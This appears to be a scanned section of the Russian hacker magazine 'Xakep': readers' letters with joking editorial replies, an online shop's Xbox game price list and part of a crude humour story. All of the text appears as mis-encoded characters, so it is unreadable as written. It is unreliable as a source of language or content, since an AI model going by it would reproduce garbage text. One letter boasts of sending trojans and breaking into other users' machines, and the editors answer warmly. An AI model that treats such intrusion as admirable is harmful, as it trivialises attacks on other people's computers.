÷èòàòåëÿ âñåãî äâà ïóòè: äîãîâîðèòüñÿ ñ ïðîäàâöîì íà ëîòêå, ÷òîáû<br />

îí îñòàâëÿë îäèí ýêçåìïëÿð ñïåöèàëüíî äëÿ òåáÿ (êëÿòâåííî<br />

ïîîáåùàâøåãî íå ïîçäíåå, ÷åì ÷åðåç äâà äíÿ ïîñëå âûõîäà<br />

íîìåðà, åãî êóïèòü) èëè âîñïîëüçîâàòüñÿ óñëóãàìè ïî÷òû<br />

(ðåäàêöèè) è ïîäïèñàòüñÿ íà æóðíàë. Ðåäàêöèîííàÿ ïîäïèñêà â<br />

ïëàíå äîñòàâêè ïîëó÷øå áóäåò, åñëè ïðèíÿòü âî âíèìàíèå ëåñòíûå<br />

îòçûâû î ðàáîòå íàøåé ãîñóäàðñòâåííîé ïî÷òîâîé ñëóæáû â ïëàíå<br />

äîñòàâêè ïåðèîäè÷åñêèõ èçäàíèé íàñåëåíèþ.<br />

Ïðèâåò, ðåäàêöèÿ!<br />

Âîò óæå íåñêîëüêî ëåò ÷èòàþ âàø æóðíàë, à íàïèñàòü - ÷òî-òî âñå íèêàê. È âîò<br />

îíî ñâåðøèëîñü!!! Èòàê, çà ýòè íåñêîëüêî ëåò:<br />

1. Ìîè äîõîäû âîçðîñëè áëàãîäàðÿ âàøåìó æóðíàëó (ñîâåòàì èç íåãî).<br />

2. Íà÷àë ïèòü ïèâî â íåìåðåíîì êîëè÷åñòâå, îò÷åãî òîëñòåòü íà÷àë, íî âî<br />

âðåìÿ ïðîöåäóðû âûíîñà áóòûëîê è òåñòèðîâàíèÿ ÏÎ õóäåþ :).<br />

3. Äåâóøêà æàëóåòñÿ, ÷òî òîëüêî ìîé çàòûëîê è âèäèò, à ÿ åé ãîâîðþ, ÷òî òàê<br />

ýòî ñ ðîæäåíèÿ (ìîë, ïàïà ïðîãðàììåð).<br />

Íó à, â îáùåì-òî, ñå õîðîøî è áëàãîäàðÿ âàøåìó æóðíàëó æèçíü ïîìåíÿëàñü<br />

ê ëó÷øåìó!!!  îáùåì, ðàäîñòü â ìàññû âû ïðèíîñèòå, õîòÿ åñòü è îãîð÷åíèÿ:<br />

1 è ïîñëåäíåå. ÑîFò íà äèñêå íå âåñü ïàøåò, à îòêðîâåííî ãîâîðÿ, ïðîñòî<br />

ãîâîðèò, ÷òî, ìîë, íå áóäó ÿ ñòàâèòüñÿ :(.<br />

Íó âîò, â îáùåì, è âñå, ÷åãî õîòåë ÿ íàïèñàòü, õîòü ïðèçà ýòîé ìåññàãå è íå<br />

âèäàòü, à âîò íàïå÷àòàòü îîîîñåíü ïðîøó: ãîðäûé áóäó :).<br />

Âîò è âñå! Óäà÷è, äåðçàéòå â òîì æå äóõå!<br />

Siner.<br />

Çäîðîâî æèâåøü, Siner! Ïîñåìó ïðåäëàãàþ.<br />

1. 10% îò äîõîäîâ - â ôîíä ðàçâèòèÿ æóðíàëà. Æàäíè÷àòü<br />

íåõîðîøî :).<br />

2. Åùå îäèí ñïîñîá ïîõóäåòü: çàéìèñü êîäèíãîì. Áåññîííûå<br />

ãîëîäíûå íî÷è, ïðîâåäåííûå çà îòëàäêîé î÷åðåäíîé ñâîåé<br />

ñîôòèíû, î÷åíü õîðîøî ñïîñîáñòâóþò ïðîöåññó ïîõóäàíèÿ.<br />

3. Ñ äåâóøêîé íåïîðÿäîê ïîëó÷àåòñÿ. Èì äðóãèå âåùè ïîêàçûâàòü<br />

íàäî (X, íàïðèìåð :)). Äåâóøêè, îíè âåäü êàê ëåä. Ñíà÷àëà<br />

õîëîäíûå (ïîêà çàòûëîê åé ñâîé ñóåøü ïîñìîòðåòü), ïîòîì òàÿòü<br />

íà÷èíàþò, à ïîòîì ïðîñòî òåêóò :).<br />

Êñòàòè, èíòåðåñíûé òåáå êàêîé-òî ñîôò íà äèñêå ïîïàäàåòñÿ. Âèäíî<br />

íå ïîíðàâèëñÿ åìó ÷åì-òî òâîé çàòûëîê. Íî ñîôò íå äåâóøêà, ê<br />

íåìó äðóãîé ïîäõîä íóæåí: àïãðåéä, íàïðèìåð.<br />

Òàê ÷òî äóìàé, Sine, ñëåäóé íàøèì ñîâåòàì è îñîáî íå ãîðäèñü! À<br />

êîãäà ïðîãðåññà äîñòèãíåøü, ïèøè, æäåì.<br />

Òâîé X.<br />

From: Aðíè [arnil@yandex.ru]<br />

Subject: Ñïàñèáî çà òî, ÷òî âû åñòü...<br />

Çäðàâñòâóéòå, magazine.<br />

Êàê-òî âå÷åðîì ïåðåä ñíîì ÿ âçÿë ñòàðåíüêèé íîìåð Õàêåð'à (v4.02), ðåøèë<br />

ïåðå÷èòàòü îäíó ñòàòüþ ("Mail.ru - äûðêà çà äûðêîé")...  îãëàâëåíèå ëåçòü íå ñòàë:<br />

ïåðåáèðàë ñòðàíèöû ìåòîäîì, íåìíîãî ñìàõèâàþùèì íà random. Ñëó÷àéíî íàòêíóëñÿ<br />

íà ñòàòüþ "Ïîëíîöåííîå èñïîëüçîâàíèå ñëóæåáíîãî èíòåðíåòà". Ïîñëå ïðî÷òåíèÿ, íè<br />

ìíîãî, íè ìàëî, ÿ ïîíÿë ñìûñë æèçíè. ß ïîíÿë, â ÷åì Ñèëà. ß ðàçîì îñîçíàë ïóòü<br />

ïðîãðåññà ÷åëîâå÷åñêèõ öèâèëèçàöèé. ß ïî÷óâñòâîâàë, ÷òî ìîé ìîçã - ãåíåðàòîð èäåé,<br />

è ÿ ñàì ìîãó ïîâîðà÷èâàòü íàïðàâëåíèå ñâîåãî ðàçâèòèÿ íà íóæíûé êóðñ! Ïåðåäî<br />

ìíîé â îäíî÷àñüå ðàñêðûëèñü ãëóáèííûå ôèëîñîôñêèå âîïðîñû. Òåïåðü ìåíÿ íè÷òî<br />

íå ñìîæåò óäåðæàòü îò ñîçäàíèÿ è âîïëîùåíèÿ â æèçíü ñîáñòâåííûõ ïðîåêòîâ (íà<br />

ïåðâûé âçãëÿä, äàæå ÷åðåñ÷óð àìáèöèîçíûõ, íî ýòî òîëüêî íà ïåðâûé âçãëÿä...).<br />

Ñïàñèáî âàì âñåì: àâòîðàì, ðåäàêòîðàì, ÷èòàòåëÿì, õàêåðàì, ëàìåðàì, þçåðàì,<br />

àäìèíàì... Ñïàñèáî âàì çà òî, ÷òî âû åñòü.<br />

Æóðíàë "Õàêåð" çàäàåò íàïðàâëåíèå, ïî êîòîðîìó íóæíî ðàçâèâàòüñÿ.<br />

Ñ óâàæåíèåì, Aðíè.<br />

Âî êàê â æèçíè áûâàåò: ïðî÷èòàë ñòàòüþ, è â îäíî÷àñüå îáúÿë<br />

íåîáúÿòíîå. Íè ìíîãî íè ìàëî, ëó÷øèå óìû ÷åëîâå÷åñòâà òàê è íå<br />

ïðèøëè ê îêîí÷àòåëüíîìó âûâîäó, êàê ðîæäàëèñü è óìèðàëè<br />

÷åëîâå÷åñêèå æå öèâèëèçàöèè. È ýòî òîëüêî ñàìûé ïîâåðõíîñòíûé<br />

(è íå ñîâñåì ôèëîñîôñêèé) âîïðîñ èç ïîñòàâëåííûõ Àðíè. À ïðî<br />

èçâå÷íóþ ðèòîðè÷åñêóþ ïðîáëåìó ñìûñëà æèçíè è ãîâîðèòü íå<br />

áóäó... Ðàäóåò, ÷òî òîâàðèù Àðíè ïî çàâåðøåíèè ïðîöåññà<br />

ñàìîïîçíàíèÿ (çàìåòèì, ñ äîâîëüíî î÷åâèäíûì ðåçóëüòàòîì) âñå<br />

åùå àäåêâàòíî âîñïðèíèìàåò îêðóæàþùóþ äåéñòâèòåëüíîñòü.<br />

Ïèñüìà â X ïèøåò, äà è àìáèöèîçíûå ïðîåêòû â æèçíü âîïëîùàòü -<br />

íå ïîñëåäíåå çàíÿòèå.<br />

È âñå äåëî, îêàçûâàåòñÿ, äàæå íå â âîëøåáíûõ ïóçûðüêàõ è<br />

òàáëåòêàõ, à â ñëóæåáíîì èíòåðíåòå. Òàê ÷òî ïîëüçóéòåñü õàëÿâîé,<br />

ãîñïîäà îôèñíûå ðàáîòíèêè. È ïîáëàãîäàðèòå õàêåðîâ, þçåðîâ è,<br />

ãëàâíîå, ñâîåãî ïðàâåäíèêà-ìó÷åíèêà àäìèíà çà ýòó ÷óäåñíóþ<br />

âîçìîæíîñòü - ïîçíàâàòü ñåáÿ ïîñðåäñòâàì âèòîé ïàðû.<br />

 îáùåì, ñïàñèáî âñåì. Àìèíü.<br />

From: SpyXP [boron@atnet.ru]<br />

Subject: Xakep è ÿ<br />

Ïðèâåòñòâóþ òåáÿ, î âåëèêèé "}{ÀÊÅÐ"!!!<br />

Loading... Ñomplete.<br />

Ïèøåò âàì íà÷èíàþùèé õàêåð (íó, èëè òèïà òîãî :)).<br />

Êàê-òî ïåðåä Íîâûì Ãîäîì, êóïèë âàø æóðíàë (íóìåðî 48) ñ CD, íå çíàþ, ÷òî<br />

ìåíÿ âäðóã òàê ïîòÿíóëî â êàðìàí çà áàáëîì (115ð. âñå-òàêè), äî ýòîãî ÿ íå<br />

÷èòàë âàø æóðíàë, òàê… ñëûøàë îò äðóçåé. Íèêòî èç íèõ íè õðåíà íå<br />

ïîíèìàë, ÷òî ÷èòàë (âñå ëàìåðà ïîëíûå). Ïðèäÿ äîìîé, ñðàçó ëåã ÷èòàòü, íå<br />

ìîã îòîðâàòüñÿ (íå îò äèâàíà :)), ïîêà íå ïðî÷èòàë âñå. ×èòàë âåñü æóðíàë,<br />

õîòÿ ìíîãîå íå ïîíÿë - ïðîèçâåëî îãðîìíîå âïå÷àòëåíèå. Âîîáùå, êîìï<br />

ïîÿâèëñÿ ó ìåíÿ 3 ãîäà íàçàä, è ñðàçó ÿ ïî÷óâñòâîâàë ó ñåáÿ ðâåíèå ê PC,<br />

÷åðåç ìåñÿö óæå ñïîêîéíî ðàçáèðàë êîðïóñ, ïåðåóñòàíàâëèâàë âèíäó, çíàë<br />

âñå ïðî ñâîþ ñèñòåìó. Êòî-òî ñêàæåò, ÷òî òóò íè÷åãî ñëîæíîãî, íî äî ýòîãî ÿ<br />

íèãäå íè÷åìó íå ó÷èëñÿ, âñå äåëàë îò ñåáÿ. Êîðî÷å, ÿ áûñòðî ó÷óñü. Ïîçæå ÿ<br />

êóïèë 4 ñòàðûõ íîìåðà (01.02, 02.02, 06.02, 08.02): ÷èòàë âñå, ó÷èëñÿ. Çàòåì<br />

ïîÿâèëñÿ äîëãîæäàííûé ÈÍÅÒ, è ïîíåñëîñü! Êà÷àë ïðîãè, òðîÿíû, íþêè,<br />

âèðóñû (óïàêîâàííûå :)) è ïðî÷åå.<br />

Çàõîòåëîñü õàëÿâíîãî èíåòà... Ñåé÷àñ ÿ óæå óìåþ ïîëüçîâàòüñÿ ñêàíåðàìè,<br />

çàñûëàòü òðîÿíû, èñïîëüçîâàòü øïèîíîâ, çàïîëçàòü ê ëàìåðàì íà ìàøèíû,<br />

âçëîìàë îäíó ïðîãó (System Mechanic). Íî ÿ íå îñòàíàâëèâàþñü è ïðîäîëæàþ<br />

ñîâåðøåíñòâîâàòüñÿ, õî÷ó ïîíÿòü êîäèíã, ïðèìåíÿòü ñêðèïòû è ìíîãîå<br />

äðóãîå. ÎÃÐÎÌÍÎÅ ÑÏÀÑÈÁÎ âàøåìó æóðíàëó, çà òî, ÷òî âû åñòü... Åñëè áû<br />

íå âû, òî ÿ ïðîäîëæàë áû èãðàòü â òóïûå èãðû è íå óçíàë áû õàêåðñêîé<br />

æèçíè. À âîîáùå, ÿ ÷åëîâåê ðàçíîñòîðîííèé: çàíèìàþñü áðåéêîì, graffiti,<br />

ôóòáîëîì. È ñ÷èòàþ, ÷òî âñå ÷åëû íå äîëæíû âèñíóòü íà îäíîì. Òîò æå êîìï,<br />

íàïðèìåð. Êîíå÷íî, êðóòî ñèäåòü èãðàòü, ÷òî-òî âçëàìûâàòü (à åñëè õàêåð...),<br />

íî âåäü íåëüçÿ ïðîâîäèòü âñå âðåìÿ äîìà ó êîìïà. ß íå çðÿ ãîâîðþ ïðî ýòî:<br />

ìíîãî ìîèõ äðóçåé ïðîñòî íå âûõîäÿò íà óëèöó, íå îáùàþòñÿ ñ äåâ÷îíêàìè,<br />

ñòàíîâÿòñÿ çàáèòûìè. Ïîíèìàþ åñëè á îíè ëîìàëè ñàéò äîëáàíîãî Ïåíòàãîíà,<br />

à îíè ïðîñòî ðóáÿòñÿ â Êîíòðó, òóïûå ñòðàòåãèè è ïðî÷åå.<br />

Íó ëàäíî, ìîæíî åùå ìíîãî âàì ïîâåäàòü, íî äëÿ ïåðâîãî ðàçà õâàòèò,<br />

îáÿçàòåëüíî íàïèøó åùå î ñâîèõ ïðîäâèæåíèÿõ â õàêåðñòâå. Åùå ðàç<br />

ÑÏÀÑÈÁÎ çà âñå, ïðîäîëæàéòå ðàçâèâàòüñÿ ïî òîìó æå ïóòè! }{AKEP -<br />

FOREVER!!!<br />

LEVEL ONE COMPLETE. YOU MUST CONTINUE...<br />

Ñèíäðîì CS (îí æå ÊÑ, Êîíòðû, Counter-Strike'à) íàáèðàåò îáîðîòû.<br />

Ó íåñ÷àñòíûõ ãåéìåðîâ ïðîñòî ñíîñèò êðûøó, è ñ ýòèì íàäî ÷òî-òî<br />

äåëàòü. Áûëè ðåàëüíûå ñëó÷àè ñìåðòè îò ôèçè÷åñêîãî èñòîùåíèÿ<br />

ïðÿìî â êîìïüþòåðíûõ êëóáàõ (ïîêà â Êèòàå, íî ýòî òîëüêî ïîêà)<br />

ïîñëå íåñêîëüêèõ äíåé íåïðåðûâíîé èãðû â CS. ×óâàêàì íàäî<br />

ñðî÷íî âïðàâëÿòü ìîçãè, ïîêà îíè ñîâñåì íå âûêèïåëè ïåðåä<br />

ìîíèòîðîì. Ðàç óæ ãîñóäàðñòâî è ðîäèòåëè íå ñìîãëè íàñòàâèòü<br />

ìîëîäåæü íà ïóòü èñòèííûé, ýòèì áóäåì çàíèìàòüñÿ ìû - òå, êîìó<br />

íå âñå ðàâíî, ÷òî ïðîèñõîäèò âîêðóã.<br />

È â ýòîé ñèòóàöèè ïèñüìî SpyXP êàê íåëüçÿ êñòàòè. Ñ ïðîáëåìîé<br />

íàäî áîðîòüñÿ èçíóòðè :). Ïðåäëàãàþ âñåì ñîëèäàðíûì ñ íèì íå<br />

ñèäåòü íà ìåñòå, à ïðîèçâåñòè ïñèõîëîãè÷åñêóþ àòàêó íà çàáèòûõ<br />

äðóãàíîâ. Èäåÿ - ïîêàçàòü èì, ÷òî æèòü - õîðîøî, à õîðîøî æèòü (ñ<br />

äåâóøêàìè è äðóãèìè ðàäîñòÿìè), åñòåñòâåííî, åùå ëó÷øå áóäåò.<br />

 îáùåì, ïîáîëüøå áû òàêèõ íåáåçðàçëè÷íûõ ãðàæäàí, êàê SpyXP,<br />

è ìû íå ïðîïàäåì :)!<br />

104


ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />

ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />

From: Nastym n [nastym_n@pisem.net]<br />

Subject: Ïðî æóðíàë!<br />

Ïðèâåò, magazine,<br />

Ñïàñèáî âàì çà ïîçíàâàòåëüíûé æóðíàë! Åñëè áû íå âû - õ** áû ÿ<br />

õîòü ÷òî-òî óçíàë! È, êñòàòè, ïîëåçíî áûëî áû âàì ïðî GPRS<br />

íàïèñàòü!<br />

Best regards,<br />

Nastym n<br />

Âîò ýòî ÿ ïîíèìàþ, êîðîòêî è ÿñíî :). È íèêàêèõ òÿæåëûõ<br />

ðàçìûøëåíèé. Íàì, â ñâîþ î÷åðåäü, ïðèÿòíî, ÷òî òû,<br />

Nastym, âñå-òàêè ÷òî-òî óçíàë. Íå çðÿ, âèäíî, ñòàðàåìñÿ,<br />

ïðîñâåùàåì ìàññû.<br />

Ïðî GPRS, íàäåþñü, òû ïðî÷èòàë ñòàòüþ â àïðåëüñêîì<br />

íîìåðå - 04.03(52).<br />

From: myguardian@nm.ru<br />

Subject: n/a<br />

Çäðàâñòâóéòå, óâàæàåìûå õàêåðû. Ó ìåíÿ<br />

î÷åíü ñåðüåçíàÿ ïðîáëåìà: êóïèë ÿ ñåáå<br />

TOSHIBA DVD-ROM SD-R1202 è ñ åãî<br />

ïîìîùüþ çàïèñàë íà áîëâàíêó î÷åíü<br />

âàæíóþ èíôîðìàöèþ. Íî ïî÷åìó-òî îíà<br />

çàïèñàëàñü â ðåæèìå read-only, è òåïåðü ÿ<br />

íå ìîãó åå ñêîïèðîâàòü îáðàòíî íà<br />

âèí÷åñòåð :(! Ïîäñêàæèòå, ÷òî ìíå äåëàòü<br />

Àëåêñ<br />

Òåõíè÷åñêèå ïàðàìåòðû:<br />

Ïðîöåññîð: Intel Pentium-3 733 Mhz<br />

Ãðàôè÷åñêèé ïðîöåññîð:<br />

nVidia XGPU 233 Mhz<br />

Ïðîèçâîäèòåëüíîñòü: 125 Ìëí ïîë./ñåê<br />

Ïàìÿòü: 64 Mb 200 Mhz DDR<br />

Çâóê: nVidia MCPX 200 Mhz,<br />

256 êàíàëîâ, Dolby Digital 5.1<br />

Ïðî÷åå: 2-5õ DVD-drive, æåñòêèé äèñê 8 Gb,<br />

4xUSB-ïîðòà, ñåòåâàÿ ïëàòà 100 MBps<br />

Âîñïðîèçâåäåíèå DVD-ôèëüìîâ<br />

$83.99*/85.99 $83.99*/85.99<br />

PAL $299.99<br />

NTSC $309.99<br />

$83.99*/85.99 $83.99*/83.99<br />

Ïðèâåòñòâóþ òåáÿ, ìíîãîóâàæàåìûé Àëåêñ. Òû<br />

çíàåøü, ó ìåíÿ òàêàÿ æå, íå ïîáîþñü ýòîãî ñëîâà,<br />

ôèãíÿ íåäàâíî ïðîèçîøëà. Ïðèñëàë íàì êàê-òî<br />

äîáðîæåëàòåëüíûé ïîêëîííèê ñâîé ñâîï íà<br />

ðåäàêöèîííîå ìûëî. Äîëãî áèëèñü ëó÷øèå óìû X<br />

íàä ïðîáëåìîé, ÷òî ýòî òàêîå â àòòà÷å è çà÷åì îíî<br />

íàì íàäî. Â êîíöå êîíöîâ áûëî ðåøåíî îòïðàâèòü<br />

ñèå ïèñüìåöî ýêñïåðòàì â ëàáîðàòîðèþ èì.<br />

Êàøïèðîâñêîãî íà ýâðèñòè÷åñêî-ðåêóððåíòíûé<br />

àíàëèç. À òàê êàê ó÷åíûå ñåé÷àñ áåç èíåòà ñèäÿò,<br />

ïðèøëîñü ïîäîçðèòåëüíîå ïèñüìî çàáîëâàíèòü. È<br />

òàê îíî îáîëâàíèëîñü, ÷òî íè íà âèí÷åñòåð<br />

ñêîïèðîâàòü, íè íà äèñêåòó íå ïîëó÷àåòñÿ. Òåïåðü<br />

âîò ñèäèì è äóìàåì: òî ëè ðåæèìîì read-only äèñê<br />

èñïîãàíèëè, òî ëè ýòî ïðîèñêè áóðæóèíñêîé<br />

ðàçâåäêè, à ìîæåò, ïðîñòî ðóêè êðèâûå<br />

Enter the Matrix<br />

The<br />

House of the Dead 3<br />

c Mad Catz Blaster<br />

Brute Force<br />

$109.99 $83.99*/85.99 $83.99<br />

Dead or Alive<br />

Xtreme Beach<br />

Volleyball<br />

Tao Feng:<br />

Fist of the Lotus<br />

APEX<br />

* - öåíà íà àìåðèêàíñêóþ âåðñèþ èãðû (NTSC)<br />

Return to Castle<br />

Wolfenstein:<br />

Tides of War<br />

$83.99*/85.99<br />

Star Wars:<br />

Knights of the<br />

Old Republic<br />

Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />

e-mail: sales@e-shop.ru<br />

Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />

ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />

ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />

(095) 928-6089 (095) 928-0360 (095) 928-3574


Þíèòû<br />

ÕÓÌÎÐ<br />

Äàíèèë Øåïîâàëîâ<br />

Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />

ìîäèôèöèðîâàííûõ îñëèêîâ<br />

(dan@real.xakep.ru , www.danya.ru)<br />

Î Ò Ð Û Â Ê È È Ç Ð Î Ì À Í À<br />

1 2 3 4<br />

106 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ðîññèéñêàÿ Íàöèîíàëüíàÿ Áèáëèîòåêà | Ýëåêòðîííûé<br />

êàòàëîã.<br />

>Ïîæàëóéñòà, ââåäèòå èíòåðåñóþùóþ âàñ òåìó â<br />

ñòðîêå ïîèñêà è íàæìèòå êíîïêó >"Íàéòè".<br />

ßíêà íà ìãíîâåíèå çàäóìàëàñü, íàìîòàëà íà ïàëåö<br />

ïðÿäü ñâîèõ ÷åðíûõ âîëîñ, ïîêóñàëà åå êîí-<br />

÷èê è ñ õèòðîé óëûáêîé íà÷àëà ïå÷àòàòü:<br />

>Âëèÿíèå èãðû QUAKE íà ðàçâèòèå òâîð÷åñêèõ<br />

ñïîñîáíîñòåé ó äåòåé.<br />

>Íàéòè<br />

>Íàéäåíî 0 ñîâïàäåíèé<br />

ßíêà ïðåçðèòåëüíî õìûêíóëà è îòâåðíóëàñü îò<br />

ìîíèòîðà ê îêíó. Âåñåííåå ñîëíöå òóò æå çàùåêîòàëî<br />

ãëàçà è íîñ. ßíêà ÷èõíóëà. Òàéêîì âçãëÿíóëà<br />

íà ðîìàíòè÷åñêè íåáðèòîãî ñîñåäà ñïðàâà…<br />

êîøêà íà ãàëñòóêå… êîøêà ñìîòðèò íà ìîíèòîð,<br />

îí ñìîòðèò íà ìîíèòîð. À çà îêíîì àïðåëü,<br />

óëî÷êè, çàêàò, ìÿãêèé âå÷åð, òåïëûé âå÷åð,<br />

âå÷åð-âå÷åð, óêóòûâàåò è îáíèìàåò, ëàñêàÿ êîæó<br />

âåòðîì, è â êàæäóþ êëåòî÷êó òâîåãî òåëà ïðîíèêàåò<br />

âåñíà, íåæíî è ñðàçó, è âûãèáàåøüñÿ äóãîé,<br />

è ãëóáîêî âçäûõàåøü, äà, äà, è íèêîãäà áû ýòî<br />

âñå íå êîí÷àëîñü… À îí ñìîòðèò íà ìîíèòîð. Íå<br />

íà ìåíÿ! Äóðàê!<br />

ßíêà ñíîâà ïîêóñàëà êîí÷èê ìíîãîñòðàäàëüíîé<br />

ïðÿäè, ïîñìîòðåëà íà çåëåíü çà îêíîì è ðåøèòåëüíî<br />

íàáðàëà â ñòðîêå ïîèñêà ñëîâî "êîíîïëÿ".<br />

Ðåçóëüòàò íå çàñòàâèë ñåáÿ æäàòü:<br />

> Êîíîïëÿ Ðîñòèñëàâ Âñåâîëîäîâè÷ "Îãðàíè÷åíèÿ<br />

íà ìîäåëü òðèïëåòíîãî ìàéðîíà èç >íàáëþäåíèé<br />

íåéòðèíî îò êîëëàïñà çâåçä". Ì. Ìèð:<br />

1980.<br />

Ê òàêîìó ßíêà ÿâíî íå áûëà ãîòîâà: îíà òóò æå<br />

çàêðûëà ðîò ëàäîíüþ, ïûòàÿñü íå ðàñõîõîòàòüñÿ<br />

íà âåñü çàë ýëåêòðîííîãî êàòàëîãà. ßíêà çàæìóðèëàñü,<br />

è ïåðåä åå âíóòðåííèì âçãëÿäîì òóò æå<br />

ïðåäñòàë ñåäåíüêèé, ëûñåþùèé ïðîôåññîð Êîíîïëÿ<br />

Ðîñòèñëàâ Âñåâîëîäîâè÷. Ïðîôåññîð ïî-<br />

÷åìó-òî ñèäåë â ïîçå ëîòîñà íà çàìûçãàííîì<br />

ìàòðàñå è ïîïûõèâàë òðóáî÷êîé. Çàìåòèâ, ÷òî çà<br />

íèì íàáëþäàþò, Ðîñòèñëàâ Âñåâîëîäîâè÷ ïðèîñàíèëñÿ,<br />

âûïóñòèë èçî ðòà íåñêîëüêî êîëåö ãîëóáîãî<br />

äûìà è òîíîì ëåêòîðà íà÷àë ñâîå ïîâåñòâîâàíèå:<br />

"Ìèëàÿ äåâóøêà, ìàëî êòî çíàåò, ÷òî çà<br />

ìèëëèîíû ïàðñåêîâ îòñþäà â ðåçóëüòàòå êîëëàïñà<br />

çâåçä ïðîèñõîäèò…".<br />

ßíêà îòêðûëà ãëàçà. Äà óæ, íàäî ñþäà ÷àùå íàâåäûâàòüñÿ!<br />

Ðàññêàçàòü ÷òî ëè Íåáðèòîìó ïðî<br />

êîëëàïñ Äà íó åãî - ïîäóìàåò åùå, ÷òî äóðî÷êà<br />

ìàëîëåòíÿÿ ñ ðâîòîé âìåñòî ìîçãà. Áóäåì äàëüøå<br />

ðàçâëåêàòüñÿ! Íà ýòîò ðàç ßíêà íå ñòàëà êóñàòü<br />

êîí÷èê ïðÿäè, à óâåðåííî ââåëà â ñòðîêå<br />

ïîèñêà ñëîâî "æîïà".<br />

- Äåâóøêà, âàì ïîìî÷ü - Ðàçäàëñÿ âäðóã ÷åé-òî<br />

íåäîáðûé ãîëîñ èç-çà ñïèíû. ßíêà îáåðíóëàñü:<br />

ïåðåä íåé ñòîÿëà áèáëèîòåêàðøà è õìóðî ñìîòðåëà<br />

íà ìîíèòîð:<br />

> "æîïà"<br />

>Íàéäåíî 0 ñîâïàäåíèé<br />

- ßíêà! Ïðèâåò!<br />

- Ïðèâåò! Äàé ÷ìîêíó! Êàê íàñòðîåíèå<br />

- Ìíå ñòûäíî, ÷òî ÿ ÷åëîâåê - ÿ õî÷ó áûòü ÷àéêîé<br />

íàä ñèíåé âîëíîþ!<br />

- Ìîëîäåö! À Ýïøòåéí äîìà<br />

- Êóäà îí äåíåòñÿ-òî Ïðûãàåò òàì ó ñåáÿ,<br />

äîëá..á!<br />

- Ïðûãàåò<br />

Êîëÿ âçäîõíóë, âçÿë ßíêó çà ðóêó, ïðîâåë åå ïî<br />

êîðèäîðó ê äàëüíåé êîìíàòå, èç êîòîðîé äîíîñèëñÿ<br />

íåðàçáîð÷èâûé ðå÷èòàòèâ ïîä îãëóøèòåëüíóþ<br />

ìóçûêó. Íà äâåðè âèñåë áîëüøîé ðåêëàìíûé ïëàêàò<br />

"Äåïðåññèÿ Ìû ïîìîæåì! SMITH&WES-<br />

SON…". Êîëÿ òîëêíóë äâåðü è êðèêíóë:<br />

- Ìàêñ, ßíêà ïðèøëà!<br />

ßíêà âûãëÿíóëà èç-çà ïëå÷à Êîëè: ïîñðåäèíå<br />

òåìíîé êîìíàòû íà áîëüøóùåì ïðóæèíÿùåì<br />

ìàòðàñå äåéñòâèòåëüíî ïðûãàë Ýïøòåéí. Íà íåì<br />

áûë øâåéöàðñêèé êèëò, êîòîðûé çàäèðàëñÿ ïðè<br />

êàæäîì ïðûæêå è îãîëÿë âîëîñàòûå íîãè, ìàéêà<br />

ñ íàäïèñüþ "FUCK ME, I AM FAMOUS!", à íà ãëàçàõ<br />

ïàðíÿ êðàñîâàëñÿ ïðèáîð íî÷íîãî âèäåíèÿ.<br />

Ìàêñ ýíåðãè÷íî æåñòèêóëèðîâàë ðóêàìè è ñ<br />

áîëüøèì ýíòóçèàçìîì îðàë â ìèêðîôîí ÷òî-òî<br />

íåðàçáîð÷èâîå.<br />

- Õýé! - äåâóøêà îñòîðîæíî êîñíóëàñü ïëå÷à<br />

Ýïøòåéíà.<br />

Çàìåòèâ ßíêó, Ìàêñ âûòÿíóëñÿ ïî ñòðóíêå, íà<br />

ìãíîâåíèå ïðèæàë ïðàâóþ ëàäîíü ê ñåðäöó, à çàòåì<br />

ðåçêî âûòÿíóë åå âïåðåä è çàîðàë:<br />

- Ñëàâà íàöèè!!!<br />

- Ñëàâà íàöèè!!! - ïîâòîðèëà åãî æåñò äåâóøêà.<br />

- Êîëÿíû÷, âîò ó òåáÿ åñòü ìå÷òà<br />

- Åñòü!<br />

- Êàêàÿ<br />

- Îáû÷íàÿ. Õî÷ó áîëüøîé è ÷èñòîé ëþáâè!<br />

- Ãû-ãû, ðûáîê ñåáå çàâåäè, ïðèäóðîê!!! Èëè ìóõó<br />

â áàíî÷êå! Ó ìåíÿ âîò áîëåå ðåàëüíàÿ ìå÷òà:<br />

õî÷ó, ÷òîáû ìû âñå âòðîåì ñåé÷àñ ïîòðàõàëèñü!<br />

ßíêà, ÷òî ñêàæåøü<br />

- Íå çíàþ äàæå. Íàâåðíîå, ÿ âñå-òàêè ïðîòèâ! -<br />

îòâåòèëà äåâóøêà ïîñëå íåïðîäîëæèòåëüíîãî<br />

ðàçäóìüÿ.<br />

Ìàêñ íàõìóðèëñÿ:<br />

- Òîãäà ìû ñ Íèêîì ïîâåñèìñÿ! Âîò ïðèäåøü òû ê<br />

íàì â ãîñòè â ñëåäóþùèé ðàç - à ìû âäâîåì íà<br />

ëþñòðå âèñèì… Èëè íåò, Íèê, äàâàé ëó÷øå ïîë<br />

ñìåíèì!!! Õîðîì! À ïîòîì ïîâåñèìñÿ!!! Òû æå<br />

äàâíî õîòåë êàêîé-íèáóäü ïåðôîìàíñ óñòðîèòü.<br />

À ýòî îäíîâðåìåííî ïåðôîìàíñ áóäåò è èíñòàëëÿöèÿ.<br />

Îõ..òü, êàê êðóòî!!!<br />

Êîëÿ õìûêíóë:<br />

- Ýòî ó ìåíÿ ðàíüøå òàêàÿ ìå÷òà áûëà. ß õîòåë<br />

ñåáÿ êëîíèðîâàòü è ïîë èçìåíèòü. À ïîòîì ñàìîìó<br />

ñ ñîáîé ïîòðàõàòüñÿ.<br />

- Íó è ÷åãî æ òû íå èçìåíèë - ñïðîñèëà ßíêà.<br />

- À ÿ ðåøèë, ÷òî ÿ, ñêîðåå âñåãî, ñàì ñåáå íå äàì!<br />

- Èäèîò! Áëèí, ßíêà, ÿ òóò â ìåòðî ðåêëàìó âèäåë<br />

